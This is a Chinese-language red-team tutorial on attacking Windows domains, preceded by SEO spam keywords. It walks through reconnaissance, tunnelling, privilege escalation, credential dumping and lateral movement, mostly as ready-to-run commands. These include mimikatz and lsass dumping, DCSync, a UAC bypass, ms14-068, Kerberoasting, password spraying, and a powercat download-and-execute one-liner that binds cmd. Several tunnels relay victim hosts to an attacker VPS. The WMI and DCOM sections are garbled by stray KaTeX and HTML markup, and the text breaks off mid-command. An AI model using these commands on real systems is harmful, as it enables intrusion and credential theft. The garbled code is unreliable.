长沙铭万做网站,贵州seo和网络推广,建筑猎头网,开建筑公司取名字如何取好旺内网渗透-Windows内网渗透 文章目录 内网渗透-Windows内网渗透前言一、信息收集 1.1、SPN1.2、端口连接1.3、配置文件1.4、用户信息1.6、会话收集1.7、凭据收集 navicat#xff1a;SecureCRT#xff1a;Xshell#xff1a;WinSCP#xff1a;VNC: 1.8、DPAPI1.9、域信任1.10、…内网渗透-Windows内网渗透 文章目录 内网渗透-Windows内网渗透前言一、信息收集 1.1、SPN1.2、端口连接1.3、配置文件1.4、用户信息1.6、会话收集1.7、凭据收集 navicatSecureCRTXshellWinSCPVNC: 1.8、DPAPI1.9、域信任1.10、域传送1.11、DNS记录获取1.12、WIFI1.13、GPP1.14、Seatbelt1.15、Bloodhound1.16、Exchange 1.16.1 邮箱用户密码爆破 1.16.3 信息收集 二、传输通道 2.1、是否出网2.2、netsh2.3、ssh2.4、reGeorg2.5、EarthWorm2.6、lcx2.7、powercat2.8、mssql 三、权限提升 3.1、UAC3.2、ms14-068 四、密码获取 4.1、ntlmhash和net-ntlmhash4.2、本地用户凭据4.3、域hash4.4、token窃取4.5、Kerberoasting4.6、密码喷射4.7、LAPS 五、横向移动 5.2、PTH 5.2.1 impacket套件5.2.2 Invoke-TheHash套件5.2.3 mimikatz5.3、NTLM-Relay5.3.1 LLMNR5.3.2 WPAD 5.4、域信任5.5、攻击Kerberos 5.5.1 PTT 5.5.1.1 金票据5.5.1.2 银票据5.5.1.3kekeo 5.5.2委派 5.5.2.1 基于资源的约束委派5.5.2.2非约束委派5.5.2.3 约束委派 六、域维权 6.1、DSRM6.2、GPO6.3、SSP6.4、Skeleton Key6.5、HookPasswordChangeNotify 七、免杀处理 7.1、Powershell7.2、抓密码工具免杀7.3、源码免杀7.4、白名单免杀 总结 前言
无论是渗透测试还是红蓝对抗目的都是暴露风险促进提升安全水平。企业往往在外网布置重兵把守而内网防护相对来说千疮百孔所以渗透高手往往通过攻击员工电脑、外网服务、职场WiFi等方式进入内网然后发起内网渗透。而国内外红蓝对抗服务和开源攻击工具大多数以攻击Windows域为主主要原因是域控拥有上帝能力可以控制域内所有员工电脑进而利用员工的合法权限获取目标权限和数据达成渗透目的。
本文以红队攻击视角介绍常用的Windows内网渗透的手法包括信息收集、传输通道、权限提升、密码获取、横向移动、权限维持、免杀处理主要让大家了解内网渗透到手法和危害以攻促防希望能给安全建设带来帮助。
{全文内容较长1.4万字阅读时长15分钟}
一、信息收集
在攻陷一台机器后不要一味的直接去抓取机器密码、去做一些扫描内网的操作因为如果网内有IDS等安全设备有可能会造成报警丢失权限。本节主要介绍当一台内网机器被攻破后我们收集信息的一些手法。
1.1、SPN
SPN服务主体名称。使用Kerberos须为服务器注册SPN因此可以在内网中扫描SPN快速寻找内网中注册的服务SPN扫描可以规避像端口扫描的不确定性探测动作。主要利用工具有setspn、GetUserSPNs.vbs和Rubeus。
a、利用Windows自带的setspn工具普通域用户权限执行即可 setspn -T domain.com -Q / 在上述截图中可以清晰的看到DCServer机器上运行了dns服务。如果网内存在mssql利用SPN扫描也可以得到相应的结果。
b、利用GetUserSPNs.vbs也可以获取spn结果: c、Rubeus工具是Harmj0y开发用于测试Kerberos的利用工具。 如下图利用Rubeus查看哪些域用户注册了SPN也为后续Kerberoasting做准备
1.2、端口连接
利用netstat -ano命令获取机器通信信息根据通信的端口、ip可以获取到如下信息。如果通信信息是入流量则可以获取到跳板机/堡垒机、管理员的PC来源IP、本地web应用端口等信息如果通信信息是出流量则可以获取到敏感端口redis、mysql、mssql等、API端口等信息。
1.3、配置文件
一个正常的Web应用肯定有对应的数据库账号密码信息是一个不错的宝藏。
可以使用如下命令寻找包含密码字段的文件 cd /web findstr /s /m “password” . 下面是常用应用的默认配置路径 a、 Tomcat: CATALINA_HOME/conf/tomcat-users.xml b、 Apache: /etc/httpd/conf/httpd.conf c、 Nginx: /etc/nginx/nginx.conf d、 Wdcp: /www/wdlinux/wdcp/conf/mrpw.conf e、 Mysql: mysql\data\mysql\user.MYD 1.4、用户信息
可以在网内收集用户等信息对高权限用户做针对性的攻击包括定位到域控对域控发起攻击。
a、查看域用户普通域用户权限即可 net user /domain b、查看域管理员 net group “domain admins” /domain c、快速定位域控ip一般是dns、时间服务器 net time /domain nslookup -typeall_ldap._tcp.dc._msdcs.jumbolab.com d、查看域控制器 net group “domaincontrollers” /domain 1.5、内网主机发现 可以使用如下命令来达到内网主机的发现。
a、查看共享资料 net view b、查看arp表 arp -a c、查看hosts文件 linux: cat /etc/hosts windows: type c:\Windows\system32\drivers\etc\hosts d、查看dns缓存 ipconfig /displaydns e、当然利用一些工具也可以比如nmap、nbtscan
1.6、会话收集
在网内收集会话如看管理员登录过哪些机器、机器被谁登录过这样攻击的目标就会清晰很多。
可以使用NetSessionEnum api来查看其他主机上有哪些用户登录。 api相关介绍如下 https://docs.microsoft.com/en-us/windows/win32/api/lmshare/nf-lmshare-netsessionenum 利用powershell脚本PowerView为例。
a、可以查看域用户登录过哪些机器: b、也可以查看机器被哪些用户登陆过 其他工具、api类似。当有了上述信息后就可以对发现到的域管或者登录着域管的机器进行攻击只要能拿下这些机器就可以有相应的权限去登录域控。
1.7、凭据收集
拿下一台机器后需要尽可能的收集信息。如下是几个常用软件保存密码的注册表地址可以根据算法去解密保存的账号密码。
比如远程连接凭据: cmdkey/list
navicat
MySQL HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Serversyour connection name MariaDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Serversyour connection name MongoDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Serversyour connection name Microsoft SQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Serversyour connection name Oracle HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Serversyour connection name PostgreSQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Serversyour connection name SQLite HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Serversyour connection name SecureCRT
xp/win2003 C:\Documents and Settings\USERNAME\Application Data\VanDyke\Config\Sessions win7/win2008以上 C:\Users\USERNAME\AppData\Roaming\VanDyke\Config\Sessions Xshell
Xshell 5 %userprofile%\Documents\NetSarang\Xshell\Sessions Xshell 6 %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions WinSCP HKCU\Software\Martin Prikryl\WinSCP 2\Sessions VNC: RealVNC HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver Password TightVNC HKEY_CURRENT_USER\Software\TightVNC\Server Value Password or PasswordViewOnly TigerVNC HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4 Password UltraVNC C:\Program Files\UltraVNC\ultravnc.ini passwd or passwd2 1.8、DPAPI
DPAPI由微软从Windows 2000开始发布称为Data ProtectionApplication Programming InterfaceDPAPI。其分别提供了加密函数CryptProtectData 与解密函CryptUnprotectData 。 其作用范围包括且不限于 outlook客户端密码 windowscredential凭据 chrome保存的密码凭据 internetexplorer密码凭据
DPAPI采用的加密类型为对称加密存放密钥的文件则被称之为Master Key Files其路径一般为%APPDATA%\Microsoft\Protect{SID}{GUID}。其中{SID}为用户的安全标识符{GUID}为主密钥名称。
我们可以利用用户的密码/hash或域备份密钥解密主密钥然后解密被dpapi加密的数据。
相关的介绍如下 https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection 在渗透中可以利用mimikatz做到自动化的数据解密
a、解密Chrome密码 mimikatz dpapi::chrome /in:“%localappdata%\Google\Chrome\User Data\Default\Login Data” /unprotect b、解密Credential mimikatz vault::cred /patch 1.9、域信任
信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后2个域之间不但可以按需要相互进行管理还可以跨网分配文件和打印机等设备资源使不同的域之间实现网络资源的共享与管理。
查看域信任 nltest /domain_trusts 上述结果显示child.jumbolab.com和jumbolab.com两个域是双向信任的。
1.10、域传送
当存在域传送漏洞时可以获取域名解析记录。当有了解析记录后也能提高对网络环境的进一步认知比如www解析的ip段可能在dmz区mail解析的ip段可能在核心区域等等。 windows nslookup -typens domain.com nslookup sserver dns.domain.com ls domain.com linux dig dns.domain.com axfr domain.com 1.11、DNS记录获取
在网内收集dns记录可以快速定位一些机器、网站。常用工具有Dnscmd、PowerView。
a、在windows server上可以使用Dnscmd工具获取dns记录。 获取dns记录 Dnscmd. /ZonePrint jumbolab.com Dnscmd. /EnumRecords jumbolab.com . b、在非windows server机器上可以使用PowerView获取。 import-module PowerView.ps1 Get-DNSRecord -ZoneName jumbolab.com 1.12、WIFI
通过如下命令获取连接过的wifi密码 for /f “skip9 tokens1,2 delims:” %i in (‘netsh wlan show profiles’) do echo %j | findstr -i -v echo | netsh wlan show profiles %j keyclear 1.13、GPP
当分发组策略时会在域的SYSVOL目录下生成一个gpp配置的xml文件如果在配置组策略时填入了密码则其中会存在加密过的账号密码。这些密码往往都是管理员的密码。
其中xml中的密码是aes加密的密钥已被微软公开 https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfromMSDN 可以使用相关脚本进行解密如 https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1 域用户登录脚本存在目录也会存在敏感文件 \domain\Netlogon 1.14、Seatbelt
可以利用Seatbelt工具做一些自动化的信息收集收集的信息很多包括不限于google历史记录、用户等等 当有了chrome的访问历史时就可以知道该用户访问的一些内部站点的域名/IP可以提高内网资产产的摸索效率。
1.15、Bloodhound
我们可以利用Bloodhound做一些自动化的信息收集包括用户、计算机、组织架构、最快的攻击途径等。但是自动化也意味着告警该漏洞做自动化信息收集时会在内网设备上产生大量的告警按需使用。 执行 SharpHound.exe -c all 运行完毕会生成一个zip压缩包名字类似于20200526201154_BloodHound。 导入Bloodhound后可以做可视化分析 比较常用的就是寻找攻击域控的最快途径了 如下图我们知道如果拿下hand用户后就可以获取到域控权限
1.16、Exchange
exchange一般都在域内的核心位置上包括甚至安装在域控服务器上因此我们需要多多关注exchange的相关漏洞如果拿下exchange机器则域控也不远了。
1.16.1 邮箱用户密码爆破
使用ruler工具对owa接口进行爆破 ./ruler --domain targetdomain.com brute --users /path/to/user.txt --passwords /path/to/passwords.txt ruler工具会自动搜索owa可以爆破的接口如 https://autodiscover.targetdomain.com/autodiscover/autodiscover.xml 其他如ews接口也存在被暴力破解利用的风险 https://mail.targetdomain.com/ews 1.16.2 通讯录收集 在获取一个邮箱账号密码后可以使用MailSniper收集通讯录当拿到通讯录后可以再次利用上述爆破手段继续尝试弱密码但是记住密码次数不要太多很有可能会造成域用户锁定 Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global-address-list.txt 1.16.3 信息收集
当我们拿下exchange服务器后可以做一些信息收集包括不限于用户、邮件。
获取所有邮箱用户 Get-Mailbox 导出邮件 New-MailboxexportRequest -mailbox username -FilePath (“\localhost\c$\test\username.pst”) 也可以通过web口导出登录 https://mail.domain.com/ecp/ 导出后会有记录用如下命令可以查看 Get-MailboxExportRequest 删除某个导出记录 Remove-MailboxExportRequest -Identity ‘username\mailboxexport’ -Confirm:$false 二、传输通道
在做完信息收集后为了方便进一步内网渗透一般都会建立一个通道甚至是多级跳板。
2.1、是否出网
可以用以下命令判断: ping icmp curl http nslookup dns
2.2、netsh
netsh是windows自带的命令可以允许修改计算机的网络配置。也可以被拿来做端口转发。 A机器执行如下命令 netsh interface portproxy add v4tov4 listenport5555 connectport3389 connectaddress192.168.1.1 protocoltcp B机器访问A机器的5555端口即是192.168.1.1的3389端口
2.3、ssh
ssh一般被拿来登录linux机器也可以拿来做代理和转发。
a、开启socks代理
ssh -qTfnN -D 1111root1.1.1.1 输入1.1.1.1机器密码本地利用proxychains等类似工具连接本地的1111端口的sock5连接即可代理1.1.1.1的网络。
b、控制A、B机器A能够访问B且能出网B能够访问C但不能出网A不能访问C
A机器执行 ssh -CNfg -L 2121:CIP:21 rootBIP 输入BIP机器密码访问A的2121端口即是访问CIP的21端口。
c、控制A机器A能够访问B
A机器执行 ssh -CNfg -R 2121:BIP:21 roothackervps 输入黑客vps密码访问黑客vps的2121端口即是访问BIP的21端口。
2.4、reGeorg
reGeorg是一款开源的socks代理软件可以解决当机器不出网时使用http代理进入内网。
根据网站支持的语言把相应的tunnel.xx传到服务器上访问tunnel.xx显示“Georg says, ‘All seems fine’”说明基本ok。
本地运行 pythonreGeorgSocksProxy.py -p 9999 -u http://1.1.1.1:8080/tunnel.xx 利用proxychains等类似工具连接本地的9999端口的sock5连接即可代理1.1.1.1的网络。
2.5、EarthWorm
EarthWorm是一款用于开启SOCKS v5代理服务的工具基于标准C开发可提供多平台间的转接通讯用于复杂网络环境下的数据转发。
a、受害者机器有外网ip并可直接访问
把ew传到对方服务器上执行 ./ew -s ssocksd -l 8888
现在本地利用proxychains等类似工具连接本地的对方服务器的8888端口的sock5连接即可代理对方的网络。
b、控制A机器A能够访问B通过A访问B
在自己外网服务器上执行 ./ew -s rcsocks -l 1080 -e 8888
对方服务器执行 ./ew -s rssocks -d yourvpsip -e 8888
利用proxychains等类似工具可通过连接你的外网vps的1080 端口的socks5即可代理受害者服务器的网络。
c、控制A、B机器A能够访问BB能够访问CA有外网ip并可直接访问通过A来使用B的流量访问C
B机器执行 ./ew -s ssocksd -l 9999
A机器 ./ew -s lcx_tran -l 1080 -f BIP -g 9999 利用proxychains等类似工具可通过连接A的1080 端口的socks5即可代理B服务器的网络。
d、控制A、B机器A能够访问BB能够访问CA没有外网ip通过A连接自己的外网vps来使用B的流量访问C
自己vps执行 ./ew -s lcx_listen -l 1080 -e 8888
B机器执行 ./ew -s ssocksd -l 9999
A机器执行 ./ew -s lcx_slave -d vpsip -e 8888 -f BIP -g 9999 利用proxychains等类似工具可通过连接你自己的vps的1080 端口的socks5即可代理B服务器的网络。
2.6、lcx
lcx是一款轻便的端口转发工具。
a、反向转发
外网VPS机器监听 lcx.exe -listen 1111 2222
受害者机器执行 lcx.exe -slave VPSip 1111 127.0.0.1 3389 连接外网VPS机器的2222端口即是连接受害者机器的3389。
b、正向转发
A机器执行 lcx.exe -tran 1111 2.2.2.2 8080 访问A机器的1111端口即是访问2.2.2.2的8080端口。
2.7、powercat
powercat是一款ps版nc。可以本地执行也可以远程下载执行远程执行命令如下
powershellIEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1’);powercat-l -p 8000 -e cmd
然后远程连接执行命令即可。如果嫌弃该命令太暴露可以对其进行编码。
2.8、mssql
当目标机器只开放mssql时我们也可以利用mssql执行clr作为传输通道。 环境如下 工具项目地址 https://github.com/blackarrowsec/mssqlproxy
三、权限提升
明明是administrator权限为什么有些命令执行不了拿到一个普通的域用户权限后如何拿到域控权限继续往下看。
3.1、UAC
UAC即用户账户控制其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权以达到帮助阻止恶意程序损坏系统的效果。在系统上直观看起来类似于这样 那如何寻找bypass uac的方法呢。我们可以找一些以高权限运行的但是并没有uac提示的进程然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值然后我们添加对应的值达到bypass uac的效果。
以高权限运行的进程图标一般有如下标志 我们win10以ComputerDefaults.exe作为bypass案例ComputerDefaults.exe进程图标确实有个uac的标志然后你双击打开会发现并没有uac提醒 我们利用ProcessMonitor对该进程的行为做一个监听
先寻找HKCU:\Software\Classes\ms-settings\Shell\Open\Command 注册表然后发现键值不存在再寻找HKCR:\ms-settings\Shell\Open\Command\DelegateExecute 因此当我们修改hkcu注册表后运行ComputerDefaults.exe就会得到一个bypass uac后的cmd 对了当修改HKCU\Software\Classes\下的键值时会同步修改HKCR下面的键值。
3.2、ms14-068
该漏洞可以在只有一个普通域用户的权限时获取到域控权限。微软已经修复了该漏洞对应的补丁号为kb3011780。下面介绍下漏洞的成因先来一个Kerberos协议流程图 大致流程如下 1、域用户登录时向KDC的AS服务以自身密码加密的时间戳进行预认证 2、域控的AS服务验证用户的密码是否正确。验证通过后返回给用户一张TGT票据该票据为krbtgt密码加密而成 3、域用户拿着TGT向KDC的TGS服务申请访问Application Server的票据 4、域控的TGS服务验证TGT通过后返回给域用户能够访问Application Server的票据即STST以Application Server的服务账号密码加密 5、域用户拿着ST访问对应的Application Server 6、Application Server验证ST决定成功与否。
下面简述ms14-068的问题所在 TGT中作为用户凭证包含了用户名、用户id、所属组等信息即PAC。简单点讲PAC就是验证用户所拥有权限的特权属性证书。 默认PAC是包含在TGT中的而出现ms14-068这个问题的原因在于用户在申请TGT时可以要求KDC返回的TGT不包含PACinclude-PAC为false然后用户自己构造PAC并放入TGS_REQ数据包中的REQ_BODY中KDC会解密PAC并加密到一个新的TGT中正常应该返回一个ST并返回给用户此时这个TGT已经带入了我们构造的恶意的PAC。后面就是正常的kerberos流程了。
利用方法 mimikatz.exe “kerberos::ptc TGT_userdomain.ccache” exit
也可以使用goldenPac.py来达到ms14-068psexec的自动化利用 goldenPac.py domain.com/username:passworddc.domain.com 四、密码获取
密码抓取已经成为渗透中必不可少的一项技能。一个管理员很可能管理着N多台机器但是密码使用的都是同一个或者是有规律的。如果抓到一台机器的密码利用同密码碰撞很可能这个渗透项目就结束了。本节主要介绍密码抓取的原理和一些手段。
4.1、ntlmhash和net-ntlmhash
我们经常看到的hash长这样 Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 他的组成就是: user:sid:lmhash:ntlmhash
lmhash的加密流程如下
1、密码长度限制为14个字符 2、密码全部转换为大写 3、密码转换为16进制字符串不足14字节用0补全 4、密码的16进制字符串被分成两个7byte部分 5、再分7bit为一组,每组末尾加0再组成一组 6、上步骤得到的二组分别作为key 为 “KGS!#$%”进行DES加密。 7、将加密后的两组拼接在一起得到最终LM HASH值。
为了解决lmhash强度不够的问题微软推出了ntlmhash 1、先将用户密码转换为十六进制格式。 2、将十六进制格式的密码进行Unicode编码。 3、使用MD4对Unicode编码数据进行Hash计算 因为在vista后不再支持lmhash因此抓到的hash中的lmhash都是aad3b435b51404eeaad3b435b51404ee 在hash传递攻击时可以替换成0 00000000000000000000000000000000
再看下ntlm认证的过程 他的简述流程如下 1、客户端向服务端发起认证 2、服务器收到请求后生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端。并使用登录用户密码hash加密Challenge获得Challenge1 3、客户端接收到Challenge后使用登录用户的密码hash对Challenge加密获得Challenge2(这个结果被称为response)将response发送给服务器 4、服务器接收客户端加密后的response比较Challenge1和response如果相同验证成功。 上述中的response类似于下面这样 上述中的response就可以理解为net-ntlmhash因此ntlmhash我们是可以拿来hash传递的而net-ntlmhash不可以但是net-ntlmhash也可以拿来做破解和relay。
4.2、本地用户凭据
在windows上C:\Windows\System32\config目录保存着当前用户的密码hash。我们可以使用相关手段获取该hash。
使用reg命令获取本地用户凭据hash reg save hklm\sam sam.hive reg save hklm\system system.hive reg save hklm\security security.hive 最后利用bootkey解密获取hash。 其他一些工具同理比如 pwdump7: mimikatz privilege::debug token::elevate lsadump::sam 当然从lsass.exe中获取也可以。如直接使用mimikatz获取 privilege::debug sekurlsa::logonpasswords ProcdumpMimikatz procdump64.exe -accepteula -ma lsass.exe lsass.dmp mimikatz.exe “sekurlsa::minidump lsass.dmp” “sekurlsa::logonPasswords full” exit 而为什么有的抓不到明文密码主要还是kb2871997的问题。kb2871997补丁会删除除了wdigest ssp以外其他ssp的明文凭据但对于wdigest ssp只能选择禁用。用户可以选择将HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential更改为0来禁用。
它在winserver 2012 R2及以上版本已默认集成。在winserver 2012R2上面测试手动添加上述注册表的值为1然后抓密码发现只有wdigest能抓到明文密码了 再提一下kb2871997补丁问题除了“解决”上述明文密码问题还“解决”了pth问题但是kb2871997对于本地Administrator(rid为500操作系统只认rid不认用户名)和本地管理员组的域用户是没有影响的。
4.3、域hash
当拿到域控权限时可以从域控中的C:\Windows\NTDS\NTDS.dit导出所有用户hash。因为ntds.dit被占用因此需要利用如卷影备份等手段copy出ntds.dit然后利用如NTDSDumpEx.exe解析hash 当拷贝ntds.dit时由于网络、文件大小等问题可以使用DRS协议获取hash凭据 mimikatz.exe privilege::debug “lsadump::dcsync /domain:jumbolab.com /all /csv” exit 有时为什么能抓到明文密码有时并不能呢除了上面说的kb2871997的问题以外还有个“Reversible Encryption”。
4.4、token窃取
token是一个描述进程或线程安全上下文的对象。token即令牌包括了与进程或线程关联的用户账号的标识和特权当用户登录时系统通过将用户密码与安全数据库进行比对来验证用户密码正确性如果密码正确系统将生成访问token。该用户的进程都携带该token可以利用DuplicateTokenEx api对现有token的复制然后使用CreateProcessWithToken api对复制的token创建一个新的进程。效果如下 有个system权限进程 当然降权也可以使用上述方法。
4.5、Kerberoasting
在KRB_TGS_REP中TGS会返回给Client一张票据ST而ST是由Client请求的Server端密码进行加密的。当Kerberos协议设置票据为RC4方式加密时我们就可以通过爆破在Client端获取的票据ST从而获得Server端的密码。
在上述SPN信息收集中得到一个域用户test注册了一个SPN我们请求TGS powershell $SPNName ‘test/test’ Add-Type -AssemblyNAme System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName、 再利用mimikatz导出 kerberos::list /export 然后利用tgsrepcrack暴力破解 python tgsrepcrack.py wordlist.txt 2-40a10000-win7usertest~test-JUMBOLAB.COM.kirbi 最终成功获取该域用户密码
4.6、密码喷射
弱口令永远改不完。在内网中也可以尝试对smb、3389、mssql弱口令进行密码暴力破解但是要注意线程密码数不要太多。当然也可以使用不同账号同个密码进行尝试。这里使用kerbrute对域用户/密码进行暴力破解 爆破用户 kerbrute userenum -d jumbolab.com usernames.txt 密码喷射: kerbrute passwordspray -d jumbolab.com username.txt aA1234567 4.7、LAPS
LocalAdministrator Password Solution是密码解决方案为了防止一台机器被抓到密码后然后网内都是同密码机器导致被横向渗透。但是也存在相应的安全隐患当我们拿下域控时可以查看计算机本地密码;当权限配置不当时也会导致其他用户有权限查看他人计算机本地密码 powershell Get-ADComputer computername -Properties ms-Mcs-AdmPwd | select name, ms-Mcs-AdmPwd 如果安装LAPS在安装的软件列表里能看到
五、横向移动
当我们获取到机器的账号密码的时候可以尝试用以下几种方式进行连接并执行命令。 a、IPC net use \1.1.1.1\ipc$ “password” /user:username b、Psexec 用服务启动的方式 psexec \target -accepteula -u username -p password cmd.exe psexec.py jumbolab.com/administrator172.16.127.184 c、WMI 方法一 wmic /user:“jumbolab.com\win7user” /password:“password” /node:172.16.127.184 process call create “notepad” 方法二 Invoke-WmiMethod -class win32_process -name create -argumentlist ‘notepad’ -ComputerName 172.16.127.184 -Credential ‘jumbolab.com\win7user’ 方法三 $filterName ‘BotFilter82’ $consumerName ‘BotConsumer23’ $exePath ‘C:\Windows\System32\notepad.exe’ $Query “SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System’” KaTeX parse error: Expected group after _ at position 42: …d group after _̲ at position 4…filterName;EventNameSpace“root\cimv2”;QueryLanguage“WQL”;Query$Query} -ErrorAction Stop -ComputerName 172.16.127.184 -Credential ‘jumbolab.com\win7user’ KaTeX parse error: Undefined control sequence: \subscription at position 48: …trol sequence: \̲s̲u̲b̲s̲c̲r̲i̲p̲t̲i̲o̲n̲ ̲at position 86:…consumerName;ExecutablePath e x e P a t h ; C o m m a n d L i n e T e m p l a t e exePath;CommandLineTemplate /spanspan classkatex-htmlspan classbasespan classstrut styleheight: 0.8889em; vertical-align: -0.1944em;/spanspan classmord mathnormale/spanspan classmord mathnormalx/spanspan classmord mathnormale/spanspan stylemargin-right: 0.1389em; classmord mathnormalP/spanspan classmord mathnormala/spanspan classmord mathnormalt/spanspan classmord mathnormalh/spanspan classmpunct;/spanspan classmspace stylemargin-right: 0.1667em;/spanspan stylemargin-right: 0.0715em; classmord mathnormalC/spanspan classmord mathnormalo/spanspan classmord mathnormalmman/spanspan classmord mathnormald/spanspan classmord mathnormalL/spanspan classmord mathnormalin/spanspan classmord mathnormale/spanspan stylemargin-right: 0.1389em; classmord mathnormalT/spanspan classmord mathnormale/spanspan classmord mathnormalm/spanspan stylemargin-right: 0.0197em; classmord mathnormalpl/spanspan classmord mathnormala/spanspan classmord mathnormalt/spanspan classmord mathnormale/spanspan classmspace stylemargin-right: 0.2778em;/spanspan classmrel/span/span/span/span/spanexePath} -ComputerName 172.16.127.184 -Credential ‘jumbolab.com\win7user’br Set-WmiInstance -Class __FilterToConsumerBinding -Namespace “root\subscription” -Arguments {Filterspan classkatex--inlinespan classkatexspan classkatex-mathml W M I E v e n t F i l t e r ; C o n s u m e r WMIEventFilter;Consumer /spanspan classkatex-htmlspan classbasespan classstrut styleheight: 0.8889em; vertical-align: -0.1944em;/spanspan stylemargin-right: 0.1389em; classmord mathnormalW/spanspan stylemargin-right: 0.109em; classmord mathnormalM/spanspan stylemargin-right: 0.0785em; classmord mathnormalI/spanspan stylemargin-right: 0.0576em; classmord mathnormalE/spanspan stylemargin-right: 0.0359em; classmord mathnormalv/spanspan classmord mathnormale/spanspan classmord mathnormaln/spanspan stylemargin-right: 0.1389em; classmord mathnormaltF/spanspan classmord mathnormali/spanspan classmord mathnormallt/spanspan stylemargin-right: 0.0278em; classmord mathnormaler/spanspan classmpunct;/spanspan classmspace stylemargin-right: 0.1667em;/spanspan stylemargin-right: 0.0715em; classmord mathnormalC/spanspan classmord mathnormalo/spanspan classmord mathnormaln/spanspan classmord mathnormals/spanspan classmord mathnormalu/spanspan classmord mathnormalm/spanspan stylemargin-right: 0.0278em; classmord mathnormaler/spanspan classmspace stylemargin-right: 0.2778em;/spanspan classmrel/span/span/span/span/spanWMIEventConsumer}/p d、Schtasks schtasks /create /s 1.1.1.1 /u domain\Administrator /p password /ru “SYSTEM” /tn “windowsupdate” /sc DAILY /tr “calc” /F schtasks /run /s 1.1.1.1 /u domain\Administrator /p password /tn windowsupdate e、AT at \1.1.1.1 15:15 calc f、SC sc \1.1.1.1 create windowsupdate binpath “calc” sc \1.1.1.1 start windowsupdate g、REG reg add \1.1.1.1\HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v myentry /t REG_SZ /d “calc” h、DCOM 方法一 $com [activator]::CreateInstance([type]::GetTypeFromProgID(“MMC20.Application”,“1.1.1.1”)) c o m . D o c u m e n t . A c t i v e V i e w . E x e c u t e S h e l l C o m m a n d ( ′ c m d . e x e ′ , com.Document.ActiveView.ExecuteShellCommand(cmd.exe, /spanspan classkatex-htmlspan classbasespan classstrut styleheight: 1.0019em; vertical-align: -0.25em;/spanspan classmord mathnormalco/spanspan classmord mathnormalm/spanspan classmord./spanspan classmord mathnormalDoc/spanspan classmord mathnormalu/spanspan classmord mathnormalm/spanspan classmord mathnormale/spanspan classmord mathnormaln/spanspan classmord mathnormalt/spanspan classmord./spanspan classmord mathnormalA/spanspan classmord mathnormalc/spanspan classmord mathnormalt/spanspan classmord mathnormali/spanspan stylemargin-right: 0.0359em; classmord mathnormalv/spanspan classmord mathnormale/spanspan classmord mathnormalVi/spanspan classmord mathnormale/spanspan stylemargin-right: 0.0269em; classmord mathnormalw/spanspan classmord./spanspan stylemargin-right: 0.0576em; classmord mathnormalE/spanspan classmord mathnormalx/spanspan classmord mathnormalec/spanspan classmord mathnormalu/spanspan classmord mathnormalt/spanspan classmord mathnormale/spanspan stylemargin-right: 0.0576em; classmord mathnormalS/spanspan classmord mathnormalh/spanspan classmord mathnormale/spanspan stylemargin-right: 0.0715em; classmord mathnormalllC/spanspan classmord mathnormalo/spanspan classmord mathnormalmman/spanspan classmord mathnormald/spanspan classmopenspan classmopen(/spanspan classmsupsubspan classvlist-tspan classvlist-rspan classvlist styleheight: 0.7519em;span class styletop: -3.063em; margin-right: 0.05em;span classpstrut styleheight: 2.7em;/spanspan classsizing reset-size6 size3 mtightspan classmord mtightspan classmord mtight′/span/span/span/span/span/span/span/span/spanspan classmord mathnormalc/spanspan classmord mathnormalm/spanspan classmord mathnormald/spanspan classmord./spanspan classmord mathnormale/spanspan classmord mathnormalx/spanspan classmordspan classmord mathnormale/spanspan classmsupsubspan classvlist-tspan classvlist-rspan classvlist styleheight: 0.7519em;span class styletop: -3.063em; margin-right: 0.05em;span classpstrut styleheight: 2.7em;/spanspan classsizing reset-size6 size3 mtightspan classmord mtightspan classmord mtight′/span/span/span/span/span/span/span/span/spanspan classmpunct,/span/span/span/span/spannull,“/c calc.exe”,“Minimized”)/p 方法二 $com [Type]::GetTypeFromCLSID(‘9BA05972-F6A8-11CF-A442-00A0C90A8F39’,“1.1.1.1”) o b j [ S y s t e m . A c t i v a t o r ] : : C r e a t e I n s t a n c e ( obj [System.Activator]::CreateInstance( /spanspan classkatex-htmlspan classbasespan classstrut styleheight: 0.8889em; vertical-align: -0.1944em;/spanspan classmord mathnormalo/spanspan stylemargin-right: 0.0572em; classmord mathnormalbj/spanspan classmspace stylemargin-right: 0.2778em;/spanspan classmrel/spanspan classmspace stylemargin-right: 0.2778em;/span/spanspan classbasespan classstrut styleheight: 1em; vertical-align: -0.25em;/spanspan classmopen[/spanspan stylemargin-right: 0.0576em; classmord mathnormalS/spanspan classmord mathnormalys/spanspan classmord mathnormalt/spanspan classmord mathnormale/spanspan classmord mathnormalm/spanspan classmord./spanspan classmord mathnormalA/spanspan classmord mathnormalc/spanspan classmord mathnormalt/spanspan classmord mathnormali/spanspan stylemargin-right: 0.0359em; classmord mathnormalv/spanspan classmord mathnormala/spanspan classmord mathnormalt/spanspan stylemargin-right: 0.0278em; classmord mathnormalor/spanspan classmclose]/spanspan 